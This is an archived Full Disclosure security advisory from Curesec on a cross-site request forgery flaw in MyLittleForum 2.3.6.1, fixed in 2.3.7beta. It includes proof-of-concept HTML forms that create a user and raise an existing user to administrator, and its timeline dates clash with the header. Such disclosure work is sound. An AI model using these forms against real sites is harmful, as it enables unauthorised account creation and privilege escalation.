Full Disclosure mailing list archives

MyLittleForum 2.3.6.1: CSRF


From: "Curesec Research Team (CRT)" <crt () curesec com>
Date: Thu, 17 Nov 2016 10:59:22 +0100

Security Advisory - Curesec Research Team

1. Introduction

Affected Product:   MyLittleForum 2.3.6.1
Fixed in:           2.3.7beta
Fixed Version Link: https://github.com/ilosuna/mylittleforum/releases/tag/
                    v2.3.7beta
Vendor Website:     http://mylittleforum.net/
Vulnerability Type: CSRF
Remote Exploitable: Yes
Reported to vendor: 09/05/2016
Disclosed to        11/10/2016
public:
Release mode:       Coordinated Release
CVE:                n/a
Credits             Tim Coen of Curesec GmbH

2. Overview

MyLittleForum is forum software written in PHP. In version 2.3.6.1, it is
vulnerable to cross site request forgery. An attacker could exploit this issue
to add new users or change the status of existing users to administrator if a
victim visits a website containing a specifically crafted payload while logged
into MyLittleForum.

3. Details

CVSS: Medium 5.1 AV:N/AC:H/Au:N/C:P/I:P/A:P

Description: There is no CSRF protection, allowing an attacker to perform
actions for a victim if the victim visits an attacker controlled website while
logged in.

Proof of Concept:

Add New User: <html> <body> <form action="http://localhost/
mylittleforum-2.3.6.1/index.php" method="POST"> <input type="hidden" name=
"mode" value="admin" /> <input type="hidden" name="ar_username" value="admin2"
/> <input type="hidden" name="ar_email" value="admin2 () example com" /> <input
type="hidden" name="ar_pw" value="admin" /> <input type="hidden" name=
"ar_pw_conf" value="admin" /> <input type="hidden" name="register_submit" value
="� OK� " /> <input type="submit" value="Submit request" /> </form> </body> </
html> Make Existing User Admin: <html> <body> <input type="hidden" name="mode"
value="admin" /> <input type="hidden" name="edit_user_id" value="2" /> <input
type="hidden" name="edit_user_name" value="foo" /> <input type="hidden" name=
"edit_user_type" value="2" /> <input type="hidden" name="user_email" value=
"foo () example com" /> <input type="hidden" name="user_hp" value="" /> <input
type="hidden" name="user_real_name" value="" /> <input type="hidden" name=
"user_birthday" value="1912-12-12" /> <input type="hidden" name="user_location"
value="" /> <input type="hidden" name="profile" value="" /> <input type=
"hidden" name="signature" value="" /> <input type="hidden" name="user_language"
value="" /> <input type="hidden" name="user_time_zone" value="" /> <input type=
"hidden" name="user_time_difference" value="0" /> <input type="hidden" name=
"edit_user_submit" value="OK - Save" /> <input type="submit" value="Submit
request" /> </form> </body> </html>

4. Solution

To mitigate this issue please upgrade at least to version 2.3.7beta:

https://github.com/ilosuna/mylittleforum/releases/tag/v2.3.7beta

Please note that a newer version might already be available.

5. Report Timeline

09/05/2015 Informed Vendor about Issue (no reply)
09/15/2015 Reminded Vendor of Disclosure Date
09/15/2015 Vendor replies
10/04/2015 Vendor releases fix
11/10/2016 Disclosed to public


Blog Reference:
https://www.curesec.com/blog/article/blog/MyLittleForum-2361-CSRF-176.html
 
--
blog:  https://www.curesec.com/blog
tweet: https://twitter.com/curesec

Curesec GmbH
Curesec Research Team
Josef-Orlopp-Straße 54
10365 Berlin, Germany

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: http://seclists.org/fulldisclosure/

Current thread: